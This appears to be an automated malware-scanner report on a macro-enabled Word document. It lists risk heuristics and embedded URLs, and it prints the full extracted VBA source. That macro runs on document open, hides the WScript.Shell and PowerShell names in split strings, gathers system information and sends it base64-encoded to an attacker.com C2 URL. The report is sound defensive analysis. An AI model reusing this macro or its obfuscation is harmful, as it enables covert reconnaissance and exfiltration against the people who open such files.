MALICIOUS
190
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Dim shell As Object -
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Dim shell As Object -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set shell = CreateObject("WSc" & "ript.Sh" & "ell") -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- https://uithcm-my.sharepoint.com/pe�a�In extracted file (vbaProject_00.bin)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1923 bytes |
SHA-256: 48e230f7fda81b237db777de5f648338742bc2aad4a26d4009cf6b648834f096 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim shell As Object
Dim osInfo As String
Dim encodedData As String
Dim http As Object
Dim url As String
' Discovery
Set shell = CreateObject("WSc" & "ript.Sh" & "ell")
osInfo = shell.Exec("pow" & "ersh" & "ell.exe -Ex" & "ecutionP" & "olicy Byp" & "ass -Com" & "mand ""& {" & _
"$os = Get-Wmi" & "Object Win32_Ope" & "ratingS" & "ystem;" & _
"'OS Ve" & "rsion: ' + $os.Ve" & "rsion + ', OS Ar" & "chite" & "cture: ' + $os.OSA" & "rchite" & "cture + ', Compu" & "ter Name: ' + $os.CSName}""").StdOut.ReadAll
' Command and Control (C2)
encodedData = EncodeBase64(osInfo)
url = "h" & "tt" & "p://" & "atta" & "cker.c" & "om/c2?d" & "ata=" & encodedData
Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
http.Open "G" & "ET", url, False
http.Send
End Sub
Function EncodeBase64(inputString As String) As String
Dim adoStream As Object
Dim xmlDoc As Object
Dim xmlNode As Object
Set adoStream = CreateObject("AD" & "ODB.S" & "tream")
adoStream.Type = 1 ' adTypeBinary
adoStream.Open
adoStream.WriteText inputString
adoStream.Position = 0
adoStream.Type = 0 ' adTypeText
adoStream.Charset = "U" & "TF-8"
adoStream.Position = 3 ' skip BOM
Set xmlDoc = CreateObject("MSX" & "ML2.D" & "OMDoc" & "ument")
Set xmlNode = xmlDoc.createElement("b6" & "4")
xmlNode.DataType = "bin.b" & "ase64"
xmlNode.NodeTypedValue = adoStream.ReadText(-1)
EncodeBase64 = xmlNode.Text
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 10752 bytes |
SHA-256: d18e456b8bb76021490e3a9db7633f3ccf37eda10cc4ba3113c2ba377913b976 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.